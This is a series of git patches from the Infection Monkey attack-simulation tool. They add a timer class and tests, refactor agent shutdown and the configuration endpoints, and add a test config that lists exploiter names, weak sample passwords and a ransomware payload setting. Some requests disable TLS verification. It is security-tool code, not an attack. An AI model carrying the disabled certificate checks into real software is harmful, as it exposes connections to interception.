b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -40,8 +40,7 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): self._period = period self._should_run_batch_thread = True - # TODO: Create a "timer" or "countdown" class and inject an object instead of - # using time.time() + # TODO: Replace with infection_monkey.utils.timer.Timer self._last_sent_time = time.time() self._telemetry_batches: Dict[str, IBatchableTelem] = {} diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 44d6064b3..f39069daf 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -173,6 +173,7 @@ class MonkeyTunnel(Thread): # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in # QUIT_TIMEOUT seconds + # TODO: Replace with infection_monkey.utils.timer.Timer while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) diff --git a/monkey/infection_monkey/utils/timer.py b/monkey/infection_monkey/utils/timer.py new file mode 100644 index 000000000..366a10b20 --- /dev/null +++ b/monkey/infection_monkey/utils/timer.py @@ -0,0 +1,34 @@ +import time + + +class Timer: + """ + A class for checking whether or not a certain amount of time has elapsed. + """ + + def __init__(self): + self._timeout_sec = 0 + self._start_time = 0 + + def set(self, timeout_sec: float): + """ + Set a timer + :param float timeout_sec: A fractional number of seconds to set the timeout for. + """ + self._timeout_sec = timeout_sec + self._start_time = time.time() + + def is_expired(self): + """ + Check whether or not the timer has expired + :return: True if the elapsed time since set(TIMEOUT_SEC) was called is greater than + TIMEOUT_SEC, False otherwise + :rtype: bool + """ + return (time.time() - self._start_time) >= self._timeout_sec + + def reset(self): + """ + Reset the timer without changing the timeout + """ + self._start_time = time.time() diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py b/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py new file mode 100644 index 000000000..5359b8c79 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_timer.py @@ -0,0 +1,69 @@ +import time + +import pytest + +from infection_monkey.utils.timer import Timer + + +@pytest.fixture +def start_time(set_current_time): + start_time = 100 + set_current_time(start_time) + + return start_time + + +@pytest.fixture +def set_current_time(monkeypatch): + def inner(current_time): + monkeypatch.setattr(time, "time", lambda: current_time) + + return inner + + +@pytest.mark.parametrize(("timeout"), [5, 1.25]) +def test_timer_not_expired(start_time, set_current_time, timeout): + t = Timer() + t.set(timeout) + + assert not t.is_expired() + + set_current_time(start_time + (timeout - 0.001)) + assert not t.is_expired() + + +@pytest.mark.parametrize(("timeout"), [5, 1.25]) +def test_timer_expired(start_time, set_current_time, timeout): + t = Timer() + t.set(timeout) + + assert not t.is_expired() + + set_current_time(start_time + timeout) + assert t.is_expired() + + set_current_time(start_time + timeout + 0.001) + assert t.is_expired() + + +def test_unset_timer_expired(): + t = Timer() + + assert t.is_expired() + + +@pytest.mark.parametrize(("timeout"), [5, 1.25]) +def test_timer_reset(start_time, set_current_time, timeout): + t = Timer() + t.set(timeout) + + assert not t.is_expired() + + set_current_time(start_time + timeout) + assert t.is_expired() + + t.reset() + assert not t.is_expired() + + set_current_time(start_time + (2 * timeout)) + assert t.is_expired() From 4fc18ae750236c6b845a70bc7d2ecf1ff656bbe9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 10:11:19 -0500 Subject: [PATCH 0062/1110] Agent: Improve responsiveness of AutomatedMaster shutdown --- .../master/automated_master.py | 30 ++++++++++++++----- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 1c4c597bf..d7646f00e 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -8,8 +8,10 @@ from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.system_info_telem import SystemInfoTelem +from infection_monkey.utils.timer import Timer -CHECK_FOR_STOP_INTERVAL_SEC = 5 +CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 +CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 SHUTDOWN_TIMEOUT = 5 logger = logging.getLogger() @@ -28,6 +30,7 @@ class AutomatedMaster(IMaster): self._stop = threading.Event() self._master_thread = threading.Thread(target=self._run_master_thread, daemon=True) + self._simulation_thread = threading.Thread(target=self._run_simulation, daemon=True) def start(self): logger.info("Starting automated breach and attack simulation") @@ -48,22 +51,33 @@ class AutomatedMaster(IMaster): self._master_thread.join() def _run_master_thread(self): - _simulation_thread = threading.Thread(target=self._run_simulation, daemon=True) - _simulation_thread.start() + self._simulation_thread.start() - while (not self._stop.is_set()) and _simulation_thread.is_alive(): - time.sleep(CHECK_FOR_STOP_INTERVAL_SEC) - self._check_for_stop() + self._wait_for_master_stop_condition() logger.debug("Waiting for the simulation thread to stop") - _simulation_thread.join(SHUTDOWN_TIMEOUT) + self._simulation_thread.join(SHUTDOWN_TIMEOUT) - if _simulation_thread.is_alive(): + if self._simulation_thread.is_alive(): logger.warn("Timed out waiting for the simulation to stop") # Since the master thread is a Daemon thread, it will be forcefully # killed when the program exits. logger.warn("Forcefully killing the simulation") + def _wait_for_master_stop_condition(self): + timer = Timer() + timer.set(CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC) + + while self._master_thread_should_run(): + if timer.is_expired(): + self._check_for_stop() + timer.reset() + + time.sleep(CHECK_FOR_TERMINATE_INTERVAL_SEC) + + def _master_thread_should_run(self): + return (not self._stop.is_set()) and self._simulation_thread.is_alive() + def _run_simulation(self): config = self._control_channel.get_config() From bf0e5f098b29c255f718d27f79a149dafa851524 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 11:32:27 -0500 Subject: [PATCH 0063/1110] Agent: Make minor code quality improvements to AutomatedMaster --- .../infection_monkey/master/automated_master.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index d7646f00e..6e5ce99c3 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -38,11 +38,6 @@ class AutomatedMaster(IMaster): self._master_thread.join() logger.info("The simulation has been shutdown.") - def _check_for_stop(self): - if self._control_channel.should_agent_stop(): - logger.debug('Received the "stop" signal from the Island') - self._stop.set() - def terminate(self): logger.info("Stopping automated breach and attack simulation") self._stop.set() @@ -60,8 +55,8 @@ class AutomatedMaster(IMaster): if self._simulation_thread.is_alive(): logger.warn("Timed out waiting for the simulation to stop") - # Since the master thread is a Daemon thread, it will be forcefully - # killed when the program exits. + # Since the master thread and all child threads are daemon threads, they will be + # forcefully killed when the program exits. logger.warn("Forcefully killing the simulation") def _wait_for_master_stop_condition(self): @@ -75,6 +70,11 @@ class AutomatedMaster(IMaster): time.sleep(CHECK_FOR_TERMINATE_INTERVAL_SEC) + def _check_for_stop(self): + if self._control_channel.should_agent_stop(): + logger.debug('Received the "stop" signal from the Island') + self._stop.set() + def _master_thread_should_run(self): return (not self._stop.is_set()) and self._simulation_thread.is_alive() @@ -110,6 +110,8 @@ class AutomatedMaster(IMaster): payload_thread.start() payload_thread.join() + # TODO: This code is just for testing in development. Remove when + # implementation of AutomatedMaster is finished. while True: time.sleep(2) logger.debug("Simulation thread is finished sleeping") From 23886e2cf7df4bd323eebd97ce4333da90e47b20 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 06:51:59 -0500 Subject: [PATCH 0064/1110] Agent: Use logger.warning() instead of depricated warn() --- monkey/infection_monkey/master/automated_master.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 6e5ce99c3..abb19b85c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -54,10 +54,10 @@ class AutomatedMaster(IMaster): self._simulation_thread.join(SHUTDOWN_TIMEOUT) if self._simulation_thread.is_alive(): - logger.warn("Timed out waiting for the simulation to stop") + logger.warning("Timed out waiting for the simulation to stop") # Since the master thread and all child threads are daemon threads, they will be # forcefully killed when the program exits. - logger.warn("Forcefully killing the simulation") + logger.warning("Forcefully killing the simulation") def _wait_for_master_stop_condition(self): timer = Timer() From fc88fb948c4a9dc9464221e03556315877cee52f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 07:18:48 -0500 Subject: [PATCH 0065/1110] Agent: Add a few TODOs into AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index abb19b85c..3f0f31508 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -57,6 +57,9 @@ class AutomatedMaster(IMaster): logger.warning("Timed out waiting for the simulation to stop") # Since the master thread and all child threads are daemon threads, they will be # forcefully killed when the program exits. + # TODO: Daemon threads to not die when the parent THREAD does, but when the parent + # PROCESS does. This could lead to conflicts between threads that refuse to die + # and the cleanup() function. Come up with a solution. logger.warning("Forcefully killing the simulation") def _wait_for_master_stop_condition(self): @@ -65,6 +68,8 @@ class AutomatedMaster(IMaster): while self._master_thread_should_run(): if timer.is_expired(): + # TODO: Handle exceptions in _check_for_stop() once + # ControlChannel.should_agent_stop() is refactored. self._check_for_stop() timer.reset() From 7516505623c8d863ed368fd63945877824aaa45e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 08:06:46 -0500 Subject: [PATCH 0066/1110] Agent: Join on pba_thread to ensure it completes before simulation ends --- monkey/infection_monkey/master/automated_master.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 3f0f31508..1868aee1f 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -99,7 +99,9 @@ class AutomatedMaster(IMaster): pba_thread.start() # Future stages of the simulation require the output of the system info collectors. Nothing - # requires the output of PBAs, so we don't need to join on that thread. + # requires the output of PBAs, so we don't need to join on that thread here. We will join on + # the PBA thread later in this function to prevent the simulation from ending while PBAs are + # still running. system_info_collector_thread.join() if self._can_propagate(): @@ -115,6 +117,8 @@ class AutomatedMaster(IMaster): payload_thread.start() payload_thread.join() + pba_thread.join() + # TODO: This code is just for testing in development. Remove when # implementation of AutomatedMaster is finished. while True: From 21a9c4fa1472f19d5300cd9471d3cd955ba29530 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 19:24:02 -0500 Subject: [PATCH 0067/1110] Island: Remove disused MonkeyConfiguration resource --- monkey/monkey_island/cc/app.py | 2 -- .../cc/resources/monkey_configuration.py | 26 ------------------- 2 files changed, 28 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/monkey_configuration.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a45800b9f..c9328d5d0 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,7 +30,6 @@ from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey -from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland from monkey_island.cc.resources.monkey_control.stop_agent_check import StopAgentCheck @@ -132,7 +131,6 @@ def init_api_resources(api): ) api.add_resource(IslandMode, "/api/island-mode") - api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") api.add_resource(ConfigurationExport, "/api/configuration/export") api.add_resource(ConfigurationImport, "/api/configuration/import") diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py deleted file mode 100644 index 608030e5c..000000000 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ /dev/null @@ -1,26 +0,0 @@ -import json - -import flask_restful -from flask import abort, jsonify, request - -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.config import ConfigService - - -class MonkeyConfiguration(flask_restful.Resource): - @jwt_required - def get(self): - return jsonify( - schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True), - ) - - @jwt_required - def post(self): - config_json = json.loads(request.data) - if "reset" in config_json: - ConfigService.reset_config() - else: - if not ConfigService.update_config(config_json, should_encrypt=True): - abort(400) - return self.get() From 7cda2b8e585ca0eb8325b45a4e0534efd61fd940 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 20:17:21 -0500 Subject: [PATCH 0068/1110] Island: Add "/legacy" config format option to monkey config endpoint The schema of the configuration that is given to the agent when it requests configuration from the island is heavily influenced by the GUI and how configuration options should be displayed to the user. It is not formatted in a way that is easy for the agent to utilize. This commit adds a `/api/monkey//` endpoint that allows legacy code to continue to function, while the agent's new AutomatedMaster component (issue #1597) can receive configuration in a way that makes sense for the agent. --- monkey/monkey_island/cc/app.py | 8 +++++++- monkey/monkey_island/cc/resources/monkey.py | 10 ++++++++-- monkey/monkey_island/cc/services/config.py | 5 +++++ 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c9328d5d0..376d0221b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -122,7 +122,13 @@ def init_api_resources(api): api.add_resource(Root, "/api") api.add_resource(Registration, "/api/registration") api.add_resource(Authenticate, "/api/auth") - api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") + api.add_resource( + Monkey, + "/api/monkey", + "/api/monkey/", + "/api/monkey/", + "/api/monkey//", + ) api.add_resource(Bootloader, "/api/bootloader/") api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index f607b81e1..fbd093a8e 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -19,14 +19,20 @@ from monkey_island.cc.services.node import NodeService class Monkey(flask_restful.Resource): # Used by monkey. can't secure. - def get(self, guid=None, **kw): + def get(self, guid=None, config_format=None, **kw): NodeService.update_dead_monkeys() # refresh monkeys status if not guid: guid = request.args.get("guid") if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"]) + # TODO: When the "legacy" format is no longer needed, update this logic and remove the + # "/api/monkey//" route. + if config_format == "legacy": + ConfigService.decrypt_flat_config(monkey_json["config"]) + else: + ConfigService.format_config_for_agent(monkey_json["config"]) + return monkey_json return {} diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 280cdf763..13a4cb214 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -2,6 +2,7 @@ import collections import copy import functools import logging +from typing import Dict from jsonschema import Draft4Validator, validators @@ -425,3 +426,7 @@ class ConfigService: ), "exploit_ssh_keys": ConfigService.get_config_value(SSH_KEYS_PATH, should_decrypt=False), } + + @staticmethod + def format_config_for_agent(config: Dict): + ConfigService.decrypt_flat_config(config) From 8730b2bbbce8ffe98280a06459d7b014c2822d4c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 20:58:17 -0500 Subject: [PATCH 0069/1110] Agent: Call /legacy config endpoint from ControlClient --- monkey/infection_monkey/control.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 367433cb6..88a8e43fa 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -208,7 +208,7 @@ class ControlClient(object): return try: reply = requests.get( # noqa: DUO123 - "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + "https://%s/api/monkey/%s/legacy" % (WormConfiguration.current_server, GUID), verify=False, proxies=ControlClient.proxies, timeout=MEDIUM_REQUEST_TIMEOUT, From 9ed4f2687ead0ad34848cd7c08d6570fc165b345 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 20:59:38 -0500 Subject: [PATCH 0070/1110] Tests: Add flat monkey config for use in tests --- .../monkey_configs/flat_config.json | 134 ++++++++++++++++++ .../unit_tests/monkey_island/cc/conftest.py | 27 +++- .../test_password_based_encryption.py | 1 + 3 files changed, 155 insertions(+), 7 deletions(-) create mode 100644 monkey/tests/data_for_tests/monkey_configs/flat_config.json diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json new file mode 100644 index 000000000..82cc895a1 --- /dev/null +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -0,0 +1,134 @@ +{ + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001, + 9200 + ], + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "alive": true, + "aws_access_key_id": "", + "aws_secret_access_key": "", + "aws_session_token": "", + "blocked_ips": [], + "command_servers": [ + "10.197.94.72:5000" + ], + "current_server": "10.197.94.72:5000", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "depth": 2, + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_set_date": true, + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_password_list": [ + "root", + "123456", + "password", + "123456789", + "qwerty", + "111111", + "iloveyou" + ], + "exploit_ssh_keys": [ + ], + "exploit_user_list": [ + "Administrator", + "root", + "user", + "ubuntu" + ], + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "MSSQLExploiter", + "DrupalExploiter", + "PowerShellExploiter" + ], + "export_monkey_telems": false, + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ], + "inaccessible_subnets": [], + "keep_tunnel_open_time": 60, + "local_network_scan": true, + "max_depth": null, + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "ms08_067_exploit_attempts": 5, + "ping_scan_timeout": 1000, + "post_breach_actions": [ + "CommunicateAsBackdoorUser", + "ModifyShellStartupFiles", + "HiddenFiles", + "TrapCommand", + "ChangeSetuidSetgid", + "ScheduleJobs", + "Timestomping", + "AccountDiscovery" + ], + "ransomware": { + "encryption": { + "enabled": true, + "directories": { + "linux_target_dir": "", + "windows_target_dir": "" + } + }, + "other_behaviors": { + "readme": true + } + }, + "skip_exploit_if_file_exist": false, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "started_on_island": false, + "subnet_scan_list": [], + "system_info_collector_classes": [ + "AwsCollector", + "ProcessListCollector", + "MimikatzCollector" + ], + "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 7001, + 8088 + ], + "user_to_add": "Monkey_IUSER_SUPPORT", + "victims_max_exploit": 100, + "victims_max_find": 100 +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index dfd927f4a..5777b3492 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,11 +1,12 @@ # Without these imports pytests can't use fixtures, # because they are not found import json -import os +from typing import Dict import pytest from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_based_encryption import ( # noqa: E501 + FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) @@ -14,12 +15,24 @@ from monkey_island.cc.server_utils.encryption import unlock_datastore_encryptor @pytest.fixture -def monkey_config(data_for_tests_dir): - plaintext_monkey_config_standard_path = os.path.join( - data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME - ) - plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) - return plaintext_config +def load_monkey_config(data_for_tests_dir) -> Dict: + def inner(filename: str) -> Dict: + config_path = ( + data_for_tests_dir / MONKEY_CONFIGS_DIR_PATH / FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME + ) + return json.loads(open(config_path, "r").read()) + + return inner + + +@pytest.fixture +def monkey_config(load_monkey_config): + return load_monkey_config(STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME) + + +@pytest.fixture +def flat_monkey_config(load_monkey_config): + return load_monkey_config(FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME) @pytest.fixture diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index 0e044c84a..ce0b46705 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -15,6 +15,7 @@ pytestmark = pytest.mark.slow MONKEY_CONFIGS_DIR_PATH = "monkey_configs" STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" +FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME = "flat_config.json" PASSWORD = "hello123" INCORRECT_PASSWORD = "goodbye321" From 30afe3cc858cf6a96345bf68ae4dead303410db2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 21:03:45 -0500 Subject: [PATCH 0071/1110] Island: Strip credentials out of config before sending to agent The credentials for credential reuse attacks will now be retrieved by the agent via a new endpoint that returns only credentials in order to reduce unnecessary network traffic (issue #1538). --- CHANGELOG.md | 1 + monkey/monkey_island/cc/resources/monkey.py | 2 +- monkey/monkey_island/cc/services/config.py | 17 +++++++++++++++-- .../monkey_island/cc/services/test_config.py | 14 ++++++++++---- 4 files changed, 27 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 61c2a177e..7f5a59bb8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Hostname system info collector. #1535 - Max iterations and timeout between iterations config options. #1600 - MITRE ATT&CK configuration screen. #1532 +- Propagation credentials from "GET /api/monkey/" endpoint. #1538 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index fbd093a8e..4e02fc258 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -31,7 +31,7 @@ class Monkey(flask_restful.Resource): if config_format == "legacy": ConfigService.decrypt_flat_config(monkey_json["config"]) else: - ConfigService.format_config_for_agent(monkey_json["config"]) + ConfigService.format_flat_config_for_agent(monkey_json["config"]) return monkey_json diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 13a4cb214..4e5290a19 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -428,5 +428,18 @@ class ConfigService: } @staticmethod - def format_config_for_agent(config: Dict): - ConfigService.decrypt_flat_config(config) + def format_flat_config_for_agent(config: Dict): + ConfigService._remove_credentials_from_flat_config(config) + + @staticmethod + def _remove_credentials_from_flat_config(config: Dict): + fields_to_remove = { + "exploit_lm_hash_list", + "exploit_ntlm_hash_list", + "exploit_password_list", + "exploit_ssh_keys", + "exploit_user_list", + } + + for field in fields_to_remove: + config.pop(field, None) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 751ca98ed..30e56e05e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -6,10 +6,6 @@ from monkey_island.cc.services.config import ConfigService # monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js -class MockClass: - pass - - @pytest.fixture(scope="function", autouse=True) def mock_port(monkeypatch, PORT): monkeypatch.setattr("monkey_island.cc.services.config.ISLAND_PORT", PORT) @@ -27,3 +23,13 @@ def test_set_server_ips_in_config_current_server(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) expected_config_current_server = f"{IPS[0]}:{PORT}" assert config["internal"]["island_server"]["current_server"] == expected_config_current_server + + +def test_format_config_for_agent__credentials_removed(flat_monkey_config): + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "exploit_lm_hash_list" not in flat_monkey_config + assert "exploit_ntlm_hash_list" not in flat_monkey_config + assert "exploit_password_list" not in flat_monkey_config + assert "exploit_ssh_keys" not in flat_monkey_config + assert "exploit_user_list" not in flat_monkey_config From 02c725d1f8702d38461ff85cd45d240507fb4fd7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Dec 2021 21:25:20 -0500 Subject: [PATCH 0072/1110] Agent: Call get "/api/monkey" endpoint from ControlChannel.get_config() --- .../master/control_channel.py | 30 ++++++++++++++----- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 9e8046baf..12bf3a52f 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -19,37 +19,51 @@ class ControlChannel(IControlChannel): self._control_channel_server = server def should_agent_stop(self) -> bool: - if not self._control_channel_server: - return - try: response = requests.get( # noqa: DUO123 f"{self._control_channel_server}/api/monkey_control/{self._agent_id}", verify=False, + proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, ) response = json.loads(response.content.decode()) return response["stop_agent"] except Exception as e: + # TODO: Evaluate how this exception is handled; don't just log and ignore it. logger.error(f"An error occurred while trying to connect to server. {e}") + return True + def get_config(self) -> dict: - ControlClient.load_control_config() - return WormConfiguration.as_dict() + try: + response = requests.get( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, self._agent_id), + verify=False, + proxies=ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, + ) + + return json.loads(response.content.decode()) + except Exception as exc: + # TODO: Evaluate how this exception is handled; don't just log and ignore it. + logger.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) + + return {} def get_credentials_for_propagation(self) -> dict: - if not self._control_channel_server: - return - try: response = requests.get( # noqa: DUO123 f"{self._control_channel_server}/api/propagationCredentials", verify=False, + proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, ) response = json.loads(response.content.decode())["propagation_credentials"] return response except Exception as e: + # TODO: Evaluate how this exception is handled; don't just log and ignore it. logger.error(f"An error occurred while trying to connect to server. {e}") From 44055b32f9c9fb4981d3f92b02595e06a7d6a857 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 09:17:33 -0500 Subject: [PATCH 0073/1110] Island: Reformat "payloads" in config before sending to agent Allow the configuration to contain multiple payloads that can be run by the agent. --- monkey/monkey_island/cc/services/config.py | 6 +++++ .../monkey_configs/flat_config.json | 4 ++-- .../monkey_island/cc/services/test_config.py | 22 +++++++++++++++++++ 3 files changed, 30 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 4e5290a19..80228c8e6 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -430,6 +430,7 @@ class ConfigService: @staticmethod def format_flat_config_for_agent(config: Dict): ConfigService._remove_credentials_from_flat_config(config) + ConfigService._format_payloads_from_flat_config(config) @staticmethod def _remove_credentials_from_flat_config(config: Dict): @@ -443,3 +444,8 @@ class ConfigService: for field in fields_to_remove: config.pop(field, None) + + @staticmethod + def _format_payloads_from_flat_config(config: Dict): + config.setdefault("payloads", {})["ransomware"] = config["ransomware"] + config.pop("ransomware", None) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 